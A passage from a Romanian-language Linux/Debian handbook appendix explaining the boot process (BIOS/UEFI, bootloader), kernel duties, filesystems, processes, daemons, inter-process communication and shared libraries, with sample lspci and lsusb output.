conducă. Controlul și interacțiunea cu hardware-ul este scopul sistemului de operare și al aplicațiilor. Acestea,
la rândul lor, necesită rularea hardware-ului funcțional.
Această simbioză între hardware și software nu se întâmplă de la sine. Când computerul este pornit, este
necesară o configurație inițială. Acest rol este asumat de BIOS sau UEFI, o componentă software încorporată
în placa de bază care rulează automat la pornire. Sarcina sa principală este căutarea de software căruia îl
poate transmite controlul. De obicei, în cazul BIOS, aceasta implică căutarea primului hard disk cu un boot
sector (cunoscut și sub denumirea de master boot record sau MBR), încărcarea acelui sector de boot, și punerea
în execuție. De aici încolo, BIOS-ul nu mai este implicat de obicei (până la următorul boot). În cazul UEFI,
procesul implică scanarea discurilor pentru a găsi o partiție EFI dedicată care să conțină alte aplicații EFI de
executat.

INSTRUMENT BIOS/UEFI conține, de asemenea, o piesă de software numită Setup, concepută pentru a permite configurarea
Configurare, instrumentul de caracteristicilor computerului. În special, permite alegerea dispozitivului de pornire preferat (de exemplu,
configurare BIOS/UEFI dischetă sau unitate CD-ROM), setarea ceasului de sistem și așa mai departe. Pornirea instalării implică, de
obicei, apăsarea unei taste foarte curând după ce computerul este pornit. Această cheie este adesea Del sau Esc,
uneori F2 sau F10. De cele mai multe ori, alegerea este emisă pe ecran în timp ce porniți.

Boot sector (sau partiția EFI), la rândul său, conține un alt software, numit bootloader, al cărui scop este găsirea
și rularea unui sistem de operare. Deoarece acest bootloader nu este încorporat în placa principală, ci
încărcat de pe disc, poate fi mai inteligent decât BIOS, ceea ce explică de ce BIOS-ul nu încarcă singur
sistemul de operare. De exemplu, bootloader-ul (adesea GRUB pe sistemele Linux) poate enumera sistemele
de operare disponibile și cere utilizatorului să aleagă unul. De obicei, sunt oferite opțiunile de time-out și
default. Uneori, utilizatorul poate alege, de asemenea, să adauge parametri pentru a trece la kernel și așa
mai departe. În cele din urmă, un nucleu este găsit, încărcat în memorie și executat.

NOTĂ UEFI este o îmbunătățire relativ recentă. Majoritatea computerelor noi vor suporta pornirea UEFI, dar, de obicei,
UEFI, un înlocuitor modern acceptă și pornirea BIOS-ului alături, pentru compatibilitatea cu sistemele de operare care nu sunt gata să
pentru BIOS exploateze UEFI.
Acest nou sistem scapă de unele dintre limitările de încărcare a BIOS-ului: odată cu utilizarea unei partiții
dedicate, încărcătorii de boot nu mai au nevoie de trucuri speciale pentru a se încadra într-un minuscul master
boot record și apoi să descopere nucleul pentru boot. Și mai bine, cu un kernel Linux construit în mod adecvat,
UEFI poate porni direct kernel-ul fără nicio încărcătură intermediară. UEFI este, de asemenea, fundamentul de
bază utilizat pentru a livra Secure Boot, o tehnologie care vă asigură că rulați doar software validat de către
furnizorul dvs. de sisteme de operare.

BIOS/UEFI este, de asemenea, responsabil cu detectarea și inițializarea unui număr de dispozitive. Evident,
aceasta include dispozitivele IDE/SATA (de obicei, hard disk-uri) și unități CD/DVD-ROM), dar și dispozitive
PCI. Dispozitivele detectate sunt adesea listate pe ecran în timpul procesului de pornire. Dacă această listă
merge prea repede, folosiți tasta Pause pentru a o îngheța suficient de mult timp pentru a putea fi citită.
Dispozitivele PCI instalate care nu apar sunt un semn prost. În cel mai rău caz, dispozitivul este defect. În cel
mai bun caz, este pur și simplu incompatibil cu versiunea actuală a BIOS sau a plăcii de bază. Specificațiile
PCI evoluează, iar plăcile de bază vechi nu sunt garantate să gestioneze dispozitive PCI mai noi.

B.3.3. Nucleul
Atât BIOS/UEFI, cât și bootloader rulează doar câteva secunde fiecare; acum ajungem la primul
software care rulează mai mult timp, nucleul sistemului de operare. Acest nucleu își asumă rolul de dirijor într-
o orchestră și asigură coordonarea între hardware și software. Acest rol implică mai multe sarcini, inclusiv:

363
manipularea hardware-ului, gestionarea proceselor, utilizatorii și permisiunile, sistemul de fișiere, ș.a.m.d.
Nucleul oferă o bază comună tuturor celorlalte programe din sistem.

B.3.4. Spațiul utilizatorului

Deși tot ce se întâmplă în afara nucleului poate fi considerat în bloc în “spațiul utilizatorului”, putem totuși face
o separație în straturile de software. Cu toate acestea, interacțiunile lor sunt mai complexe decât înainte și
este posibil, de exemplu, clasificările să nu fie la fel de simple. O aplicație folosește în mod obișnuit
bibliotecile, care la rândul lor implică nucleul, dar comunicațiile pot implica și alte programe sau chiar multe
biblioteci care se apelează între ele.

B.4. Câteva sarcini gestionate de kernel

B.4.1. Manevrarea hardware-ului
Nucleul are în primul rând sarcina de a controla piesele hardware, de a le detecta, de a le porni atunci când
computerul este pornit și așa mai departe. De asemenea, le pune la dispoziția software-urilor de nivel
superior, cu o interfață de programare simplificată, astfel încât aplicațiile pot profita de dispozitive fără a fi
nevoie să vă faceți griji cu privire la detalii, cum ar fi ce slot de extensie pentru opțiuni de placă este cuplat.
Interfața de programare oferă și un strat de abstractizare; acest lucru permite software-ului de conferință
video, de exemplu, să utilizeze o cameră web independent de marca și modelul acesteia. Software-ul poate
folosi doar interfața Video pentru Linux (V4L), iar kernel-ul traduce apelurile funcționale ale acestei interfețe în
comenzile concrete hardware necesare camerei web specifice în utilizare.
Nucleul exportă multe detalii despre hardware-ul detectat prin intermediul sisteme de fișiere virtuale /proc/
și /sys/. Mai multe instrumente rezumă aceste detalii. Printre ele, lspci (în pachetul pciutils) sunt listate
dispozitivele PCI, lsusb (în pachetul usbutils) listează dispozitivele USB, iar lspcmcia (din pachetul
lspcmcia) listează cardurile PCMCIA. Aceste instrumente sunt foarte utile pentru identificarea modelului exact
al unui dispozitiv. Această identificare permite, de asemenea, căutări mai precise pe web, care, la rândul lor,
duc la documente mai relevante.

Exemplul B.1 Exemplu de informații furnizate de lspci și lsusb

$ lspci
[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express
⮩Graphics Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express
⮩ Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB
⮩ UHCI #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet
⮩ PCI Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection
⮩ (rev 05)
$ lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Aceste programe au o opțiune -v, care listează informații mult mai detaliate (dar de obicei nu sunt
necesare). În cele din urmă, comanda lsdev (în pachetul procinfo) listează resursele de comunicare utilizate
de dispozitive.
Aplicațiile accesează deseori dispozitive prin intermediul fișierelor speciale create în /dev/ (a se vedea
bara laterală “Permisiunile de acces la dispozitiv” pagina 145). Este vorba despre fișiere speciale care reprezintă
unitățile de disc (de exemplu, /dev/hda și /dev/sdc), partiții (/dev/hda1 sau /dev/sdc3), mouse
(/dev/input/mouse0), tastaturi (/dev/input/event0), plăci de sunet (/dev/snd/*), porturi seriale (/
dev/ttyS*) și așa mai departe.

364
B.4.2. Filesytems
Sistemele de fișiere sunt unul dintre cele mai proeminente aspecte ale nucleului. Sistemele Unix îmbină
toate stocările de fișiere într-o singură ierarhie, ceea ce permite utilizatorilor (și aplicațiilor) să acceseze date
pur și simplu cunoscând locația sa în cadrul acelei ierarhii.
Punctul de pornire al acestui arbore ierarhic se numește rădăcină, /. Acest director poate conține
subdirectoare numite. De exemplu, subdirectorul home al / se numește /home/. La rândul său, acest
subdirector poate conține alte subdirectoare și așa mai departe. Fiecare director poate conține și fișiere,
unde datele reale vor fi stocate. Astfel, numele /home/cristi/Desktop/hello.txt se referă la un fișier
numit hello.txt stocat în subdirectorul Desktop al subdirectorului cristi din directorul acasă prezent în
rădăcină. Nucleul traduce între acest sistem de denumire și stocarea fizică reală pe un disc.
Spre deosebire de alte sisteme, există o singură astfel de ierarhie și poate integra date de pe mai multe
discuri. Unul dintre aceste discuri este folosit ca rădăcină, iar celelalte sunt “mounted” pe directoare din
ierarhie (comanda Unix se numește mount); aceste alte discuri sunt apoi disponibile în aceste “mount points”.
Aceasta permite stocarea directoarelor acasă ale utilizatorilor (tradițional stocate în /home/) pe un al doilea
hard disk, care va conține directoarele dogg și cristi. După ce discul este montat pe /home/, aceste
directoare devin accesibile la locațiile lor obișnuite, iar căi precum /home/cristi/Desktop/hello.txt
continuă să funcționeze.
Există multe formate de fișiere de sistem, care corespund mai multor moduri de stocare fizică a datelor pe
discuri. Cele mai cunoscute sunt ext2, ext3 și ext4, dar există altele. De exemplu, vfat este sistemul care a fost
folosit în mod istoric de sistemele de operare DOS și Windows, care permite utilizarea discurilor dure sub
Debian, precum și sub Windows. În orice caz, un sistem de fișiere trebuie pregătit pe un disc înainte de a
putea fi montat și această operație este cunoscută sub numele de “formatting”. Comenzile precum
mkfs.ext3 (unde mkfs înseamnă MaKe FileSystem) gestionează formatarea. Aceste comenzi necesită, ca
parametru, un fișier de dispozitiv reprezentând partiția care trebuie formatată (de exemplu, /dev/sda1).
Această operațiune este distructivă și ar trebui rulată o singură dată, cu excepția cazului în care cineva
dorește în mod intenționat să șteargă un sistem de fișiere și să înceapă din nou.
Există, de asemenea, sisteme de fișiere de rețea, cum ar fi NFS, unde datele nu sunt stocate pe un disc
local. În schimb, datele sunt transmise prin rețea către un server care le stochează și le preia la cerere.
Abstracția sistemului de fișiere îi protejează pe utilizatori de vreo grijă: fișierele rămân accesibile în modul lor
ierarhic obișnuit.

B.4.3. Funcții partajate

Deoarece o serie de aceleași funcții sunt utilizate de toate softurile, este logic să le centralizăm în kernel. De
exemplu, gestionarea partajată a sistemului de fișiere permite oricărei aplicații să deschidă pur și simplu un
fișier după nume, fără a fi nevoie să vă faceți griji unde este fișierul stocat fizic. Fișierul poate fi stocat în mai
multe felii diferite de pe un hard disk, sau împărțit pe mai multe discuri, sau chiar stocat pe un server de fișiere
la distanță. Funcțiile de comunicare partajate sunt utilizate de aplicații pentru a schimba date independent de
modul de transport al datelor. De exemplu, transportul ar putea fi peste orice combinație de rețele locale sau
wireless, sau pe o linie telefonică fixă.

B.4.4. Gestionarea proceselor

Un proces este o instanță care rulează un program. Aceasta necesită memorie pentru a stoca atât programul
în sine, cât și datele sale de operare. Nucleul este responsabil de crearea și urmărirea acestora. Când un
program rulează, nucleul pune mai întâi deoparte o memorie, apoi încarcă în ea codul executabil din
sistemul de fișiere, apoi pornește codul. Păstrează informații despre acest proces, dintre care cel mai vizibil
este un număr de identificare cunoscut sub numele de pid (identificatorul procesului).
Nucleele asemănătoare Unix-ului (inclusiv Linux), la fel ca majoritatea celorlalte sisteme de operare
moderne, sunt capabile de sarcini multiple, “multi-tasking”. Cu alte cuvinte, ele permit rularea multor procese
“în același timp”. Există de fapt un singur proces de rulare simultan, dar nucleul reduce timpul în felii mici și
rulează fiecare proces pe rând. Întrucât aceste tranșe de timp sunt foarte scurte (în intervalul
milisecundelor), ele creează iluzia proceselor care se desfășoară în paralel, deși sunt de fapt active doar în
anumite intervale de timp și stau în repaus restul timpului. Sarcina kernel-ului este să-și ajusteze
mecanismele de programare pentru a menține această iluzie, maximizând în același timp performanța
globală a sistemului. Dacă intervalele de timp sunt prea lungi, este posibil ca aplicația să nu pară la fel de

365
receptivă. Prea scurte, sistemul pierde prea des sarcinile de comutare a timpului. Aceste decizii pot fi
modificate cu prioritățile procesului. Procesele cu prioritate înaltă se vor derula mai mult timp și cu mai multe
frecvențe de timp decât procesele cu prioritate scăzută.

NOTĂ Limitarea descrisă mai sus a unui singur proces care poate fi rulat la un moment dat nu se aplică întotdeauna.
Sisteme cu mai multe Restricția reală este aceea că poate exista un singur proces de rulare pe nucleul procesorului la un moment dat.
procesoare (și variante) Sistemele cu mai multe procesoare, multi-core sau “hyper-threaded” permit mai multor procese să ruleze în
paralel. Totuși, același sistem de tranșare a timpului este încă utilizat, pentru a gestiona cazurile în care există
procese mai active decât nucleele procesorului disponibile. Acest lucru este departe de a fi neobișnuit: un sistem
de bază, chiar unul mai ales inactiv, are aproape întotdeauna zeci de procese de rulare.

Desigur, nucleul permite rularea mai multor instanțe independente ale aceluiași program. Dar fiecare își
poate accesa doar propriile felii de timp și memorie. Datele lor rămân astfel independente.

B.4.5. Managementul drepturilor

Sistemele asemănătoare Unix sunt de asemenea multi-utilizatori. Acestea oferă un sistem de gestionare a
drepturilor care acceptă utilizatori și grupuri separate; permite de asemenea controlul asupra acțiunilor
bazate pe permisiuni. Nucleul gestionează datele pentru fiecare proces, permițându-i să controleze
permisiunile. De cele mai multe ori, un proces este identificat de către utilizatorul care l-a pornit. Acest
proces îi este permis numai să ia acele acțiuni la dispoziția proprietarului său. De exemplu, încercarea de a
deschide un fișier necesită kernel-ul să verifice identitatea procesului împotriva permisiunilor de acces
(pentru mai multe detalii despre acest exemplu particular, a se vedea secțiunea 9.3. “Gestionarea drepturilor”
pagina 173).

B.5. Spațiul utilizatorului

“User space” se referă la mediul de rulare al proceselor normale (spre deosebire de kernel). Acest lucru nu
înseamnă neapărat că aceste procese sunt de fapt pornite de către utilizatori, deoarece un sistem standard
are în mod normal mai multe procese “daemon” (sau background) care rulează înainte ca utilizatorul să
deschidă chiar o sesiune. Procesele daemon sunt, de asemenea, considerate procese ale spațiului
utilizatorului.

B.5.1. Proces
Când nucleul trece de faza de inițializare, începe primul proces, init. Procesul #1 singur este foarte rar util
în sine, iar sistemele asemănătoare Unix rulează cu multe procese suplimentare.
În primul rând, un proces se poate clona singur (aceasta este cunoscută sub numele de fork-furcă(are)).
Nucleul alocă un spațiu nou (dar identic) de memorie procesului și un alt proces pentru a-l utiliza. În acest
moment, singura diferență între aceste două procese este pid. Noul proces este de obicei numit child proces (
copil), iar procesul inițial al cărui pid nu se schimbă, se numește proces părinte (parent process).
Uneori, procesul copil continuă să-și ducă propria viață independent de părintele său, cu propriile date
copiate din procesul părinte. Cu toate acestea, în multe cazuri, acest proces copil execută un alt program. Cu
câteva excepții, memoria sa este pur și simplu înlocuită de cea a noului program, iar execuția acestui nou
program începe. Acesta este mecanismul folosit de procesul init (cu numărul de proces numărul 1) pentru
a porni servicii suplimentare și a executa întreaga secvență de pornire. La un moment dat un proces, dintre
urmașii init, pornește o interfață grafică pentru utilizatori să se autentifice (secvența reală a evenimentelor
este descrisă în mai multe detalii în secțiunea 9.1. “System boot” pagina 163).
Când un proces termină sarcina pentru care a fost pornit, acesta se încheie. Nucleul recuperează apoi
memoria alocată acestui proces și încetează să îi ofere felii de timp pentru rulare. Procesului părinte i se
spune despre procesul său copil terminat, ceea ce permite unui proces să aștepte finalizarea unei sarcini pe
care a delegat-o unui child process. Acest comportament este clar vizibil în interpretorii liniei de comandă
(cunoscute sub numele de shells). Când o comandă este introdusă într-un shell, prompt-ul nu revine decât
atunci când execuția comenzii se termină. Cele mai multe shell-uri permit rularea comenzii în fundal, este o
simplă problemă de a adăuga un & la sfârșitul comenzii. Prompt-ul este afișat din nou imediat, ceea ce poate
duce la probleme dacă comanda trebuie să afișeze date proprii.

366
B.5.2. Daemoni
Un “daemon” este un proces început automat de secvența de pornire. Continuă să funcționeze (în fundal)
pentru a efectua sarcini de întreținere sau pentru a oferi servicii altor procese. Această “background task” este
de fapt arbitrară și nu se potrivește cu nimic particular din punctul de vedere al sistemului. Ele sunt pur și
simplu procese, destul de asemănătoare cu alte procese, care se desfășoară la rândul lor când le vine felia
de timp. Distincția se face numai în limbajul uman: un proces care se execută fără interacțiuni cu un utilizator
(în special, fără nicio interfață grafică) se spune că rulează “în fundal” sau “ca daemon”.

VOCABULAR Deși termenul demon are etimologie greacă — daemon nu implică răul, diabolicul; în schimb, ar trebui înțeles ca
Daemon, demon, un termen un fel de spirit ajutător. Această distincție este suficient de subtilă în engleză; este și mai rău în alte limbi unde
peiorativ? același cuvânt este folosit pentru ambele sensuri.

Mai mulți astfel de daemon-i sunt descriși în detaliu în capitolul 9. “Serviciile Unix” pagina 162.

B.5.3. Comunicații inter-procese

Un proces izolat, fie că este un demon sau o aplicație interactivă, este rar util de unul singur, motiv pentru
care există mai multe metode care permit procese separate să comunice împreună, fie pentru a schimba
date, fie pentru a se controla reciproc. Termenul generic care se referă la acesta este comunicare inter-procese
(inter-process communication) sau IPC pe scurt.
Cel mai simplu sistem IPC este pentru folosirea fișierelor. Procesul care dorește să trimită date îl scrie într-
un fișier (cu un nume cunoscut în prealabil), în timp ce destinatarul trebuie doar să deschidă fișierul pentru a-
i citi conținutul.
În cazul în care nu doriți să stocați datele pe disc, puteți utiliza pipe, care este pur și simplu un obiect cu
două capete; byte-ii scriși într-un capăt pot fi citiți la celălalt. Când capetele sunt controlate prin procese
separate, acest lucru duce la un canal de comunicare inter-procese simplu și convenabil. Pipele pot fi
clasificate în două categorii: named pipes și anonymous pipes. Named pipes este reprezentată de o intrare în
sistemul de fișiere (deși datele transmise nu sunt stocate acolo), astfel încât ambele procese pot să-l
deschidă independent dacă locația pipei numite este cunoscută în prealabil. În cazurile în care procesele de
comunicare sunt corelate (de exemplu, un părinte și procesul său child), procesul părinte poate crea, de
asemenea, o nonymous pipe înainte de a căuta, iar copilul îl moștenește. Ambele procese vor putea apoi să
facă schimb de date prin pipe fără a fi nevoie de sistemul de fișiere.

ÎN PRACTICĂ Să descriem în detaliu ce se întâmplă când se execută o comandă complexă (o pipeline) dintr-un shell.
Un exemplu concret Presupunem că avem un proces bash (shell-ul standard al utilizatorului pe Debian), cu pid 4374; în acest shell,
tastăm comanda: ls | sort.
În primul rând, shell-ul interpretează comanda introdusă. În cazul nostru, înțelege că există două programe (ls
și sort), cu un flux de date care curge de la unul la celălalt (notat cu caracterul | , cunoscut sub numele de
pipe). bash creează mai întâi o pipe fără nume (care inițial există doar în cadrul procesului bash).
Apoi shell-ul se clonează; acest lucru duce la un nou proces bash, cu pid #4521 (pids sunt numere abstracte și
în general nu au o semnificație particulară). Procesul #4521 moștenește pipe, ceea ce înseamnă că este capabil să
scrie în partea sa “input”; bash redirecționează fluxul său standard de ieșire la intrarea acestei pipe. Apoi
execută (și se înlocuiește cu) programul ls, care listează conținutul directorului curent. Întrucât ls scrie pe
ieșirea sa standard și această ieșire a fost redirecționată anterior, rezultatele sunt trimise efectiv în pipe.
O operațiune similară se întâmplă pentru a doua comandă: bash se clonează din nou, ceea ce duce la un nou
proces bash cu pid #4522. Întrucât este, de asemenea, un proces copil din #4374, moștenește și pipe; bash
apoi își conectează intrarea standard la ieșirea pipei, apoi execută (și se înlocuiește cu) comanda sort, care
sortează intrarea acesteia și afișează rezultatele.
Toate piesele puzzle-ului sunt acum configurate: ls citește directorul curent și scrie lista de fișiere în pipă;
sort citește această listă, o sortează alfabetic și afișează rezultatele. Procesează numerele # 4521 și #4522 apoi
se termină și #4374 (care le aștepta în timpul operației), reia controlul și afișează promptul pentru a permite
utilizatorului să tasteze o nouă comandă.

Cu toate acestea, nu toate comunicările dintre procese sunt utilizate pentru a muta datele. În multe situații,
singurele informații care trebuie transmise sunt mesajele de control, cum ar fi “pauză la execuție” sau
“reluarea execuției”. Unix (și Linux) oferă un mecanism cunoscut sub numele de signals, prin care un proces
poate trimite pur și simplu un semnal specific (ales dintr-o listă predefinită de semnale) către un alt proces.
Singura cerință este să cunoașteți pid-ul țintei.

367
Pentru comunicări mai complexe, există, de asemenea, mecanisme care permit unui proces să deschidă
accesul sau să partajeze o parte din memoria alocată cu alte procese. Memoria împărțită acum între ele
poate fi folosită pentru a muta datele între procese.
În cele din urmă, conexiunile de rețea pot ajuta procesele să comunice; aceste procese pot fi chiar rulate pe
diferite calculatoare, posibil mii de kilometri una de alta.
Este destul de normal pentru un sistem tipic Unix să folosească toate aceste mecanisme în diverse grade.

B.5.4. Biblioteci
Bibliotecile de funcții joacă un rol crucial într-un sistem de operare Unix-like. Nu sunt programe adevărate,
deoarece nu pot fi executate de unul singur, ci colecții de fragmente de cod care pot fi utilizate de
programele standard. Printre bibliotecile comune, puteți găsi:
• biblioteca standard C (glibc), care conține funcții de bază, cum ar fi cele de a deschide fișiere sau
conexiuni de rețea, precum și altele care facilitează interacțiunile cu kernel-ul;
• seturi de instrumente grafice, precum Gtk+ și Qt, permițând mai multor programe să refolosească
obiectele grafice pe care le furnizează;
• biblioteca libpng, care permite încărcarea, interpretarea și salvarea imaginilor în format PNG.
Datorită acestor biblioteci, aplicațiile pot reutiliza codul existent. Dezvoltarea aplicațiilor este simplificată,
deoarece multe aplicații pot reutiliza aceleași funcții. Cu bibliotecile deseori dezvoltate de diferite persoane,
dezvoltarea globală a sistemului este mai aproape de filozofia istorică a lui Unix.

CULTURĂ Unul dintre conceptele fundamentale care stă la baza familiei de sisteme de operare Unix este că fiecare
Metoda Unix: un singur lucru instrument ar trebui să facă un singur lucru și să-l facă bine; aplicațiile pot apoi reutiliza aceste instrumente
odată pentru a construi o logică mai avansată deasupra. Această filozofie poate fi văzută în multe manifestări.
Scripturile Shell pot fi cel mai bun exemplu: reunesc secvențe complexe de instrumente foarte simple (cum ar fi
grep, wc, sort, uniq și așa mai departe). O altă implementare a acestei filozofii poate fi văzută în
bibliotecile de coduri: biblioteca libpng permite citirea și scrierea imaginilor PNG, cu opțiuni diferite și în
moduri diferite, dar face numai asta; nu se pune problema includerii funcțiilor care afișează sau editează imagini.

Mai mult, aceste biblioteci sunt adesea denumite “biblioteci partajate”, deoarece nucleul este capabil să le
încarce doar în memorie o singură dată, chiar dacă mai multe procese folosesc aceeași bibliotecă în același
timp. Aceasta permite economisirea memoriei, în comparație cu situația opusă (ipotetică) în care codul unei
biblioteci ar fi încărcat de câte ori există procese care o folosesc.

368